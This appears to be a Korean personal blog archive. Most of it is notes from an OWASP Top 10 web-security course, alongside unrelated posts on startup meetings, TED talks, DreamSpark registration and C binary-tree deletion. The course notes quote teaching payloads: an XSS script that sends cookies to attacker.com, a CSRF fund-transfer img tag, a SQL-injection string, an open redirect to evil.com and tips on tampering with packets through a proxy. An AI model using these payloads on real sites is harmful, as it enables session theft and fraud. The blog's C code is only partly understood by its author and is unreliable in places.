post list

2014년 4월 20일

Web Security 교육 (2)

 어제에 이어서 S.T 교육을 받았다. 정리를 해보자. 참고로 강사님 사이트는 javaspecialist.co.kr이다.

A2. 인증 및 세션 관리 취약점
 URL에서  ..(생략)...;jsessionid=2PJDJ...(생략)... 와 같은 주소값을 보는 일이 있다. 이것은 tomcat web server를 사용할 때 encode("url")을 사용할 때 나타난다. 여기서 jsessionid가 노출된 것이 중요하다. 이런 경우 패킷 스니핑으로 잡아낼 수 있다.

 쿠키 설정을 안하면 login이 안된다. 왜냐하면 cookie에 세션 id가 저장되지 않기 때문이다. 보통 로그인을 하면 30분 정도 유지가 되며 로그아웃 시에는 이 세션이 만료된다. 문제는 가끔 세션 유지 시간을 -1로 해놓는 경우가 있다. 이 경우는 영구적으로 지속되어 문제가 된다.
 session.invalidate()를 통해 세션을 만료 시켜줘야한다.

 Naver,Daum 같은 큰 포털사이트의 경우에는 매 페이지마다 Session ID가 달라져서 애초에 이런 문제를 방지하고 있다.

 jasypt : 자바 암호화 라이브러리. encrypt 할 때마다 그 값이 달라진다.


A3. 크로스 사이트 스크립팅 (XSS)
(string) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";

라는 코드가 있다고 하자. 저 request 부분에 다음의 코드를 삽입한다면
'><script>document.location = 'http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'
의도하지 않은 사이트로 접속하게 되어 정보를 넘겨주게 될 것이다.

 < 는 &lt;
 > 는 &gt;  로 바꾸는 것으로도 많은 문제가 해결된다. 물론 unicode 변환을 이용해 다시 무력화 할 수 있어서 완벽한 방어책은 아니다.


A4. 취약한 직접 객체 참조.
 JS 코드를 이용해 DOM Tree를 조정할 수 있다는 것이다. 예를 들어 document.querySelector("CSS선택자") 같은걸 이용해 DOM을 만질 수 있다.
 사실 get방식이건 post 방식이건 서버는 이 사람이 session id를 이용해 로그인이 되어 있는지만 체크한다. parosproxy를 이용해 패키을 가로챌 수 있다.
 인터넷옵션-연결탭-LAN설정-프록시서버-포트변경-Trap-Tap request체크.
 이 상태에서 인터넷을 이용해 패킷을 보내면 잡힌다. 잡은 패킷을 조작해 continue 하게 되면 변조된 패킷이 날아간다. 왼쪽에서 Sites->cmm에 존재한다.
 만약 같은 컴퓨터를 여럿이서 사용한다면 새로운 세션을 열어서 인터넷을 해야한다.
 cookie toolbar 를 이용해 edit cookie가 가능하다. 다운로드는 www.diodia.com에서 가능.
 이러한 직접 객체 참조를 막기 위해서는 서버단 검증이 반드시 필요하다.
 user-agent는 사용자의 브라우저가 무엇인지 알려준다. trident는 IE의 렌더링 엔진을 의미한다. 그리고 만약 user-agent에 paros를 거쳐서 오는 패킷이 있다면 반드시 막아야 한다. 또한 만약을 대비해 회원들의 IP를 저장해둬야할 것이다.

 Web Application Server : WebLogic, WebSphere, JEUS 그리고 Tomcat..
 이러한 녀석들을 이용하면 Application 혹은 Context를 Deploy하고 Undeploy할 수 있도록 해준다. 보통 http://localhost:8080/manager 혹은 console에서 관리자 페이지를 제공한다.

 Eclipse JavaEE + Tomcat + 환경변수 잡기(JDK설치된 곳으로 지정) 하여 환경을 구축한다.
 Tomcat의 내부 폴더에서 bin/startup을 실행한다. /manager로 접속한다. conf/tomcat-users를 보면
 <-- <role name="tomcat"/>
 ... (생략) ...
 -->이 있다. 이것을 참조하여 추가한후 Shutdown & Startup을 한다.
 Application Deploy가 가능해진다. 여기서 쓸데 없는 App은 Undeploy 해둬야 한다. 이클립스를 실행해서 Dynamic Web Project를 실행한다. Build Path - Configuration ... - Library - Add External Jar - 아파치 폴더의 Servlet-API 추가한다. 프로젝트를 완성했으면 원격지 업로드를 위해서 Export-WAR file을 해서 관리자 콘솔 아래에서 Deploy를 하도록 한다.

 디렉토리 목록은 결코 밖으로 보여져서는 안된다.

 Java -> class -> Jar -> Dex -> apk  의 구조를 가진다. 이 때 Java Decompile을 통해 Dex 파일을 class로 변환하여 소스코드를 확인할 수 있다.

 패킷트레이서를 이용해 패킷을 훔칠 수도 있다.

 암호화 알고리즘이 뻔해서 추측이 가능하다. 변화를 주기위해 salt를 사용한다.

 암호화 알고리즘은 알고리즘 + 알고리즘 운용방식 + 패팅으로 이루어진다. 다음 블록의 암호화 시에 전의 블록의 결과를 이용한다. 단방향 알고리즘은 이러한 seed가 없기 때문에 salt를 쓰는 것이다.

 JD-GUI를 참고하라. url:admin을 하면 admin이 있는 url를 찾아준다.


 A8. 크로스 사이트 요청변조(CSRF)
  웹 사이트 구조를 알기 위해 프로그램을 이용해 URL구조를 알수 있다. 웹 사이트 구조를 알게 되면 다음의 코드를 이용해 위험에 처할 수 있다.
 <img src="http://example.com/app/transferFunds?amount=1500&destinationAccount+=attackersAcc+#" width="0" height="0"/>
 이 값을 넣어놓게 되면 관리자가 접속시에 당하게 될 것.


 A9. 알려진 취약점이 있는 컴포넌트 사용
 MIT 라이센스는 가져다 쓰는 것은 무료이나 그로 인한 피해는 책임지지 않는 라이센스다.


 A10. 검증되지 않은 redirect & forward
 만약 a.jsp -> b.jsp가 있다고 하자.
 이 때 redirect는 url의 주소가 b.jsp가 되며 사용자 이름은 null이다.
 (response.sendRedirect("b.jsp");)
 요청이 2번 일어난다. 그런데 요청이라는 것은 1회성이기 때문에 b.jsp로 사용자 이름이 넘어가지 않는다. 이러한 redirection은 글을 저장하고 바로 목록을 조회해서 뿌려줘야 할 때에 쓰이는 것이다. 즉, 요청 후 새로운 요청이 실행될 때 쓰인다.

 forward는 url주소가 그대로 a.jsp이며 사용자 이름도 넘어간다.
 (request.getRequestDispather("b.jsp").forward(request,response);)
 요청은 단 한번 일어난다. a.jsp에서 request객체를 b.jsp로 넘겨주어 b.jsp에서 응답하는 절차다. forward는 요청 후 결과를 보여주기 위해서 쓰인다.

 http://www.example.com/redirect.jsp?url=evil.com과 같이 다른 사이트로 넘어가게 될 수도 있으니 redirect, forward를 조심해야함.

 또 다른 위험으로 비동기 요청이 있다. 브라우저는 해당 도메인 주소가 아닌 다른 도메인 주소에서 ajax를 부르는 것을 거부한다. 하지만! proxy page나 backend 단에서 다른 도메인 요청을 가져올 수 있다는점. 예를 들어 RSS Proxy가 있다.

 <%@ taglib uri="http://java.sun.com/jstl/core" prefix="c" %>
 <c:import charEncoding="UTF-8" url="${param.rssurl}"></c:import> 이 코드의 결과는 XML문서다. 결국 DOM Tree로 해석이 가능하기 때문에 주소와 내용이 달라지게 된다. 그러나 XML 문서를 뿌리는 것 위에 공백이 남게 되어 브라우저가 해석을 못하게 되는데 이러한 경우에도 방법이 있다.
 <%@ page langu....(생략)... trimDirectiveWhitespace="true"%> 를 넣어주면 된다. 이 코드는 앞의 공백을 없애서 XML문서가 well-formed 규칙에 맞게 해준다.

 마지막으로 지속적인 공부를 원한다면
 Webgoat-5.4-OWASP...(생략)...을 다운로드 받아서 배치파일을 실행한다. 웹에서 WebGoat/attack에 접속한다. tomcat-user.xml에 보면 id와 pw가 있다. 걍 guest/guest해도 된다. 그리고 웹보안 취약점이 있는 페이지가 나오는데 이것으로 공부가 가능하다.

2014년 4월 19일

Web Security 교육 (1)

 클라이언트가  인증처리를 거치게 되면 서버에서 SessionID를 만들어서 클라이언트를 기억하게 된다. 이 때, 번호표와 같은 개념으로 Session ID를 클라이언트에게 넘겨주는데 클라이언트에서는 이 Session ID를 Cookie에 저장한다.

 우리가 보통 쓰는 Apache-Tomcat 은 응답 기능을 하는 Web Server 인 Apache 와 Servlet container 인 Tomcat 으로 이루어져 있다. ... 서블릿만 하는건 아닐텐데.

 JavaScript 는 Thread가 없다. 그래서 Sleep 같은 메소드도 없다. 그래서 클라이언트는 SetInterval 같은 함수를 이용해서 주기적으로 서버에 요청을 보냈다. 그래서 응답을 쪼개기 위해서 100번대의 응답코드가 존재한다.

 Native App 은 실행속도, 반응속도가 빠르고 인터넷 연결이 필요 없다. Web App은 개발 비용이 낮고 높은 호환성을 가진다. 인터넷 연결이 필요하며 Hold Down 같은 UI 측면이 약하다. Hybrid App 은 네이티브 위에 Rendering Engine을 사용하는 Webkit (web view) 위에서 HTML5, CSS, JS와 같은 언어가 돌아가는 환경이다.

 PhoneGap은 하이브리드 앱을 만드는 프레임워크다. 단순하게 이야기해서 크로쓰 플랫폼을 가능하게 하는 녀석이다. 웹언어를 이용해 iOS, Android 환경을 지원한다. (그 외에 플랫폼도 지원하는 것으로 보인다.) 하지만 퍼포먼스가 많이 떨어진다. 비슷한 녀석으로 자마린이 있다.

 어떤 프로그램이건 MVC 패턴이 중요하다. Model-View-Controller 다.



 강사님이 그려준 것과 조금 다르긴 한데 비슷해서 퍼왔다. Model이란 자료구조를 의미하고 Controller는 안드로이드의 Adapter와 비슷한 개념이다. View는 사용자에게 보여지는 모든 것들을 의미한다. 이 때 Model과 Controller의 중간에 Service를 넣어주지 않으면 n * m의 의존관계가 발생해서 다루기가 어렵다. 
 MVC를 구현한 framework로 Struts MVC, Spring MVC가 있다. Model 에서 사용되는 pojo class도 참고하자. (강사님은 java class를 그냥 그럴싸하게 말하는 것 뿐이라는데.. 잘 모르겠다)

 GPL, LGPL 라이센스는 2차 저작물의 소스를 공개 해야한다. MIT, BSD, Apache는 소스 공개를 하지 않아도 된다. 

 UML을 도와주는 툴로 StarUML, EA, RSA, Together가 있다. 가격대비성능비는 EA가 가장 좋다고 한다. 하지만 그것도 부담되는 측면이 있어서 대부분 StarUML을 쓴단다. 그 외에 것들은 비싸기 때문에 패쓰.

 Controller와 Model 사이의 패턴에 대해서 더 말해보자. 지금부터 말하는 대부분의 것들은 JSP를 기반으로 한다. Controller는 IService를 참조한다. IService는 Interface다. 그리고 Service가 그것을 구현하고 Model을 참조한다. 

 여기에는 객치 지향 개념이 들어간다. Java를 잘 한다고 해서 정확한 객체 지향 개념을 아는 사람은 드물다. 객체 지향의 가장 중요한 점은 다형성과 상속이다. 즉, 다형성을 적용하기 위해서는 상속관계의 전제가 필요하다. 소스 코드에서 if문은 상속과 다형성으로 대체가 가능하다.

 강사님은 잠깐 자료구조에 대해서도 말해주었는데 기억하기가 아주 쉬웠다.

 배열은 개수제한이 있고 삽입, 삭제시에 부담이 크다. 그래서 연결리스트가 나왔다. 리스트는 검색은 떨어지나 삽입, 삭제에 능하다. 역방향 검색이 안된다. 그래서 이중연결리스트가 나왔다. 연결리스트는 정렬이 되어있지 않다. 그래서 스택과 큐가 나왔다. 스택은 연산이나 메서드 호출에 이용된다. 큐는 기억이 잘 나지 않네. 여튼 스택과 큐는 특수목적으로 사용된다고 한다. 
 근데 배열이나 리스트는 검색시에 풀스캔을 할 수 밖에 없다. 그래서 트리가 나왔다. 트리에 B*나 Red Black Tree가 자주 쓰인다. 마지막으로 그래프가 있다. 그래프는 정점과 정점 사이에 가중치가 존재하는데 비용산정이나 최단경로 따위를 구하는데 쓴다. 여기까지 배웠으면 알고리즘으로 넘어가란다.

 UML 다이어그램도 이야기 해줬다.


 위의 그림은 강사님이 써준게 아니지만 비슷해서 퍼왔다. 차례대로 설명을 해보자면.. 첫 번째부터 Dependency, Aggregation, Generalization, Composition, Association, Realization



 브라우저 구조
 HTML -> HTML Parser -> Dom Tree -> 
                                                            Attachment -> Render Tree -> Rendering -> Display
 CSS -> CSS Parser -> Style Rule ->

 흠. 그리기 귀찮아서 글로 적었는데 잘 보이려나 모르겠다. 중요한건 ajax가 Dom Tree 부분을 건드린다는 점이다. 그것만 알면 되는 듯.

 ' or '1' = '1   (이것에 대한 설명은 생략한다..)

 암호화에는 크게 2가지가 있다. Key가 있느냐 없느냐. Key가 없는 것은 비밀번호 따위이고 Key가 있는 것은 복호화가 필요한 평문화 해야하는 것들을 의미한다. 왜냐하면 비밀번호는 되돌릴 이유가 없기 때문이다. 복호화 해서 뭘하겠는가.

 OWASP TOP 10
1. 인젝션
2. 인증 및 세션 관리 취약점 -> 알툴바로 세션 변경이 가능
3. 크로스 사이트 스크립팅
게시판 바디에 
<script>
 for (i=0; i<10000; i+=){
   alert("asdfasdf");
 }
</script>
4. 취약한 직접 객체 참조 -> 내부 객체 이름이 노출되는 경우. 스캇계정으로 뚫리는 경우
5. 보안 설정 오류
6. 민감 데이터 노출
7. 기능 수준의 접근통제 누락
8. 크로스 사이트 요청 변조 (CSRF)
9. 알려진 취약점이 있는 컴포넌트 사용
10. 검증되지 않은 redirect, forward


 egovframe.go.kr 에 가면 plug-in이 가득담긴 Eclipse가 있다. ㄷ ㄷ ㄷ ㄷ 
 JDBC사용할 때 Statement 쓰면 안됨. 인젝션에 당한다. 차라리 PreparedStatement를 사용하는 것이 낫다. Callable Statement

 MyBatis 라고 (CRUD : Create, Read, Update, Delet)를 가능하게 해주는 녀석이 있다. 

 JSP 공부할 때는 반드시 jstl을 공부해야한다. 안그러면 공부 안한것과 마찬가지다.

 forward와 redirect의 차이는 주소값이 변하는지 보면 된다. forward는 URL의 변경 없이 내부 페이지가 변한다. redirect은 아에 다른 페이지로 넘겨지기 때문에 URL 값도 변경된다. 
(http://www.mkyong.com/jsf2/jsf-page-forward-vs-page-redirect/)










2014년 1월 18일

[iOS] 그림 그리기

http://www.raywenderlich.com/ko/19716/how-to-make-a-simple-drawing-app-with-uikit

2014년 1월 11일

[Daily] 스타트업과 회의에 대해서

 오늘 제가 참여한 스타트업에서 회의를 했습니다. 회의는 매일마다 이루어지고 이른 아침부터 저녁까지 모두 함께 같은 사무실에 있습니다. 한 2주 동안 함께 했는데 팀에 대해 떠오른 생각이 있습니다.

 회의는 정말 필요할 때만 해야한다는 겁니다. 아니, 적어도 스타트업에서는요. 제가 아직 많은 사람들과 회의는 몇번해보지 않아서 잘 모르겠습니다만 이 점은 확실합니다. 왠지 한번 쯤 모여야 할 것 같은 기분이 든다고 회의를 하는 행동이나 날짜를 정해서 꼭 회의를 해야 한다는 등의 규칙등은 팀의 시간과 비용을 포함한 에너지를 소모하는 결정일 뿐입니다. 왜 그럴까요? 여기에는 몇 가지 이유가 있습니다. 경험에서 우러나오는 글이니 분명 필요하신 분에게 도움이 될꺼라 믿습니다.

 첫 번째로 팀원마다 해야할 일이 있습니다. 보통 스타트업은 많아 봤자 5-6명입니다. 특히 우리팀은 앱을 개발하는 사업을 진행중이기 때문에 개발자, 디자이너, 기획자가 모두 있습니다. 이 때 회의라는 것은 서로가 생각하던 바를 드러내고 조율하기 위해 존재합니다. 기획자가 이러이러한 생각을 이야기 했을 때 개발자나 디자이너는 기획자의 생각을 어느 정도 필터링하고 변환해서 받아들이게 되죠. 사람마다 모두 자라난 환경이 다르고 성별도 다르고 자기가 잘아는 분야도 다릅니다. 그러니 당연히 어느 정도의 생각 차이가 모두들 생기게 됩니다. 이러한 차이를 줄이기 위한 동기화 작업이 바로 현실에서는 '회의'라고 불리는 것입니다. 말 몇마디로 모든 사람이 완벽하게 이해한다면 이 세상은 달라졌을 겁니다.

 그런데 이런 동기화 작업이 너무 많아지다보면 작업 진행이 안됩니다. 작업이 어느 정도 진행되고 나서 동기화하는 시간을 가져야 하는데 작업이 진행되지도 않았는데 계속 동기화를 해봤자 일은 앞으로 나아가질 못합니다. 그럼 제자리 걸음을 하는 것이죠. 적어도 각자 해야할 일을 어느 정도 진행되었을 때 동기화를 해야합니다. 

 두 번째로 회의에서는 리더의 생각이 강하게 주입됩니다. 아무리 '수평화'를 외치면 뭐합니까. 결국 최종 결정은 최고 결정자인 리더가 해야 하는 것입니다. 그런데 회의를 자주 한다고 해봅시다. 또한 디자인을 예로 들어보죠. 회의가 잦아지니 디자이너는 뭔가를 리더에게 보여줘야 합니다. 놀고 있다는 느낌을 주지 않기 위해서죠. 그럼 디자이너는 자신의 설익은 시안을 계속적으로 리더에게 제출하게 됩니다. 그럼 리더는 맘에 들지 않게 되고 점점 디자인에 자신이 참여하게 됩니다. 

 자 여기서 문제가 생깁니다. 디자인 분야는 리더가 잘할까요, 디자이너가 잘할까요. 적어도 경험이라는 것을 잘한다고 못한다의 기준으로 본다면 당연하게도 디자이너가 잘하는 것이라고 할 수 있죠. 그런데 리더가 디자인에 깊숙이 참여하게 되면 디자이너의 입장에서는 자신의 디자인이 아니라 리더의 디자인에 맞추게 됩니다. 수평화를 위해서 함께 한다고는 하지만 결국 리더의 결정에 따라 움직이는 수직화가 발생하게 됩니다. 그럼 결과는 딱 리더의 디자인 실력만큼 나오게 됩니다. 그럼 망하는거죠. 리더는 사람을 선택하는 자리이지, 디자인을 선택하는 자리가 아닙니다. 리더는 각 분야마다 어느 정도의 거리를 둬야합니다. 

 세 번째로 회의는 즐겁지가 않습니다. 이 부분은 리더에 따라 다르긴 하지만 리더의 존재 자체가 이미 솔직한 대회가 되기는 힘든 것이 보통입니다. 리더가 권위나 지위를 모두 내려놓으면 모를까... 보통 그러기 쉽지 않죠. 게다가 자신의 사업이라는 인식이 강하기 때문에 모든 것을 통제하려 하는 리더가 많습니다. 그런 상황에서 회의를 하면 어떨까요.

 다른 사람들은 아이디어를 내고 리더는 자신의 마음에 들지 않으면 버리고 마음에 드는 것만 넣습니다. 이런 분위기에서 사람들이 과연 즐거울까요.. 본래 사람은 솔직해지지 않으면 즐거운 마음이 들질 않습니다. 리더의 존재가 부담스럽고 회의에서는 리더를 만나야하니 사람들은 점점 리더의 입맛에 맞는 아이디어를 냅니다. 그럼 사용자가 아닌 리더의 입장에 맞는 결과물이 나오게 되겠죠. 두번째와 마찬가지입니다. 딱 리더의 생각만큼만 나옵니다.

 결과적으로 리더는 회의라는 것을 정말 필요할 때만 해야합니다. 일이 어느 정도 진척이 되어서 동기화가 필요할 때 혹은 예기치 못한 일이 발생해서 팀원 모두가 이 사실을 알아야하고 대처를 하기위해서죠. 이것도 사실 동기화 부분입니다. 리더는 사람을 뽑는 사람이지 각 분야를 자신의 생각대로 통제해야하는 사람이 아닙니다.. 미래에 혹은 현재의 리더 분들은 이 점을 명심하시고 팀을 이끄시길 바랍니다.










2014년 1월 6일

[Tip] TED 추천 영상 15선

1. 음악: 이타이 탈감 (위대한 지휘자들처럼 지휘하기)


2. 교육: 켄 로빈슨 (학교가 창의력을 죽인다)


3. 바이오: Anthony Atala (인간의 신장을 프린팅한다)


4. 창의: 다니엘 핑크 (동기부여의 놀라운 과학)


5. 리더쉽: Simon Sinek (How great leaders inspire action)


6. 사회공헌:멜린다 게이츠 (What nonprofits can learn from Coca-Cola)


7. 마케팅: Malcolm Gladwell (스파게티 소스에 관하여)


8. 에너지: 빌 게이츠 (에너지에 관해 말하다: 제로 탄소를 향한 혁신)


9. 신기술: Patti Maes and Pranav Mistry (Sixth Sense Demo)

Pranav Mistry: The thrilling potential of SixthSense technology


10. 역경: 에이미 멀린스 (Come dance with me!)


11. 환경: 앨 고어 (기후 변화 위기를 막으려면)


12. 웹: 크리스 앤더슨 (웹 비디오는 어떻게 전세계에서 혁신을 움직이게 해주는가)


13. 디자인: 존 마에다 (단순한 삶에 관하여)


14. 뇌: 찰스 림 (즉흥연주 때의 여러분의 두뇌)


15. 철학: 엘리자베스 길버트 (창의성의 양육)



2014년 1월 5일

[Tip] MicroSoft 프로그램 학생은 무료!! DreamSpark 등록방법



 마이크로소프트에서 DreamSpark라고 해서 학생에게 개발, 디자인용 툴 패키지를 무료로 제공하고 있습니다. 이 서비스를 받기 위해서는 학생 인증을 해야 합니다. 절차는 다음과 같습니다.

1. www.dreamspark.com 에 먼저 접속합니다. 아래와 같은 이미지를 볼 수 있죠.

 위의 이미지에서 상단에 보면 '학생'이 있습니다. 클릭합니다.



 무료로 사용하라는 배너가 뜨는군요. 저도 어서 무료로 쓰고 싶습니다. 위의 화면에서 스크롤을 아래로 주욱 내려봅니다.

2. 계정 만들기



 스크롤을 주욱 내리면 계정 만들기라는 칸이 있습니다. 클릭.



 학생으로 등록하기 위해서 필요한 정보들을 입력합니다.  그리고 다음으로 넘어가면...



3. 인증받기




 학생임을 인증하는 방법에는 위의 4가지 방법이 있습니다. 여기서는 첫번째 방법을 사용할 것입니다. 왜냐구요? 저는 다른걸로 인증 받은 적이 없기 때문입니다..    ;(  


 첫번째 방법인 '내 학교를 통해 인증 받기'를 클릭하시면 요런 화면이 뜹니다.



자신의 학교를 입력합니다.. 그리고 계속 클릭.



 전자 메일 주소를 입력하라는군요. 이 전자 메일 주소는 학교측에서 제공하는 웹메일을 의미합니다. 그런거 없다구요? 아닙니다. 있습니다. 자신의 학교 사이트로 접속해서 잘 찾아보시면 학교에서 제공하는 웹메일이 있습니다. 여기에 그 주소를 입력해야합니다. 


 입력하고 나면 그 메일 주소로 들어가서 확인을 받으라는 메시지를 줍니다. 그러면 자신의 학교 웹메일로 접속해서 마이크로소프트에서 보낸 메일을 통해 인증을 받으시면 됩니다. 그러면




인증끝!! (계정 매핑은 마이크로소프트 계정과 DreamSpark를 연동시키는 것입니다. 이건 옵션)

4. 소프트웨어 다운 받기

이제 우리는 무료로 소프트웨어를 다운만 받으면 됩니다. 아까 dreamspark 학생 페이지로 들어가면 다음과 같은 화면이 보입니다.

학생 카탈로그로 이동을 클릭합니다.



짜잔!! 이제 다운로드 하면 됩니다.

끝!


2014년 1월 4일

[Data Structure] Binary Search Tree - deleting node


 저번 글에 이어서 이진 탐색 트리에서 노드를 삭제하는 함수를 만들어 볼 것이다. 이진 탐색 트리에서 삭제를 할 때에는 3가지 타입을 알아야 한다.


삭제하고자 하는 노드가..

1. 단말 노드 일 때
2. 하나의 자식 노드가 존재할 때
3. 두개의 자식 노드가 존재할 때

 자신이 단말 노드일 경우 그냥 삭제하면 된다. 이 부분은 아주 간단하다. 하나의 자식 노드가 가지고 있는 노드일 경우에는 자식 노드에게 자신의 자리를 넘겨주면 된다. 


 마지막으로 두개의 자식 노드가 존재 할 때에는 두개의 정파를 생각해야한다. 그리고 우리는 그 중에서 그나마 중도를 걷는 녀석을 후계자로 삼아야 한다. 즉, 지우고자 하는 노드이 key값과 가장 가까운 자식 노드를 후계자로 삼아야 한다는 점이다. 그리고 가장 값이 가까운 노드는 왼쪽 서브 트리의 가장 오른쪽 아래의 노드 혹은 오른쪽 서브 트리의 가장 왼쪽 아래 노드이다. 



(참고로 코드에서 succ 은 후계자, succ_p 는 후계자의 부모 노드

t 는 현재 노드 혹은 지우고자 하는 노드
p 는 t의 부모 노드
child 는 t의 자식 노 드 이다.)

void delete_node(TreeNode **root, element key){
    TreeNode *p, *t, *child; // p는 부모 노드, t는 현재 노드, child는 서브 노드가 하나 일때 사용
    TreeNode *succ_p, *succ; // succ_p는 후계자 부모, succ는 후계자 노드. 서브 노드가 둘 일때 사용
    
    t = *root;
    p = NULL;
    
    while (t != NULL) {
        if (key == t->data) break;
        p = t;
        t = key < t->data ? t->left : t->right;
    } // 동일 key를 가진 노드를 찾는다
    
    if (t == NULL) return; // 동일키가 없다
    
    // 1. t가 단말 노드일 경우
    if (t->left == NULL && t->right == NULL) {
        if (p == NULL) { // 삭제 노드가 root일 경우다.
            *root = NULL;
        } else  {
            if (p->left == t) {
                p->left = NULL;
            } else {
                p->right = NULL;
            }
        }
    }
    // 2. 서브 노드가 하나일때
    else if (t->left == NULL || t->right == NULL){
        child = t->left == NULL ? t->right : t->left;
        if (p != NULL) {
            if (p->left == t) {
                p->left = child;
            } else {
                p->right = child;
            }
        } else {// 삭제 노드가 root일 경우
            *root = child;
        }
    }
    // 3. 서브 노드가 둘일때
    else {
        printf("p :: %d , t :: %d\n", p->data, t->data);
        succ_p = t;
        succ = t->right;
        
        while (succ->left != NULL) {
            succ_p = succ;
            succ = succ->left;
        }
        
        // 여기서부터 이게 대체 뭔소리인가 싶다. ... 조금 더 알아봐야할 코드다.
        if (succ_p->left == succ) {
            succ_p->left = succ->right;
        } else {
            succ_p->right = succ->right;
        }
        t->data = succ->data;
        t= succ;
    }
    free(t);
}

int main(){
    TreeNode root = {18,NULL,NULL};
    TreeNode *exp = &root;
    
    insert_node(&exp, 7);
    insert_node(&exp, 26);
    insert_node(&exp, 3);
    insert_node(&exp, 12);
    insert_node(&exp, 31);
    insert_node(&exp, 27);
    insert_node(&exp, 25);
    delete_node(&exp, 26);
    
    TreeNode *result = iter_search(exp, 26);
    if (result != NULL) {
        printf("There is %d\n", result->data);
    } else {
        printf("There isn't\n");
    }
    
    return 0;
}

adf


코드에서 보면 서브 노드가 2개일 때 마지막 코드 부분이 이해가 안된다.

코드는 다음과 같다.

       if (succ_p->left == succ) {
            succ_p->left = succ->right;
        } else {
            succ_p->right = succ->right;
        }
        t->data = succ->data;
        t= succ;

이 코드가 이해되면 즉시 포스팅을 수정하고 업데이트하겠다..